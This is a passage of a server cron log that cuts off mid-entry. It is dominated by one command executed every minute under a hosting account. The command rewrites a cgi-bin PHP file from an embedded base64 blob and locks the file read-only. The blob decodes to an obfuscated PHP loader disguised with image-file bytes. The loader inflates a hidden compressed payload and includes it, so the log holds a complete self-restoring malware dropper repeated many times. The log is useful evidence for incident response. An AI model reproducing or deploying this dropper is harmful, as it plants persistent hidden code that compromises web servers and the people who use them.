Nov 13 09:06:01 server CROND[30943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:07:01 server CROND[31287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:08:01 server CROND[32294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:09:01 server CROND[801]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:09:01 server CROND[802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:10:01 server CROND[1686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:10:01 server CROND[1687]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:10:01 server CROND[1688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:10:01 server CROND[1689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:11:01 server CROND[2268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:12:01 server CROND[3147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:12:01 server CROND[3148]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:13:01 server CROND[4011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:14:01 server CROND[4633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:15:01 server CROND[4866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:15:01 server CROND[4867]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:15:01 server CROND[4868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:16:01 server CROND[5766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:17:01 server CROND[6287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:18:01 server CROND[7140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:19:01 server CROND[7975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 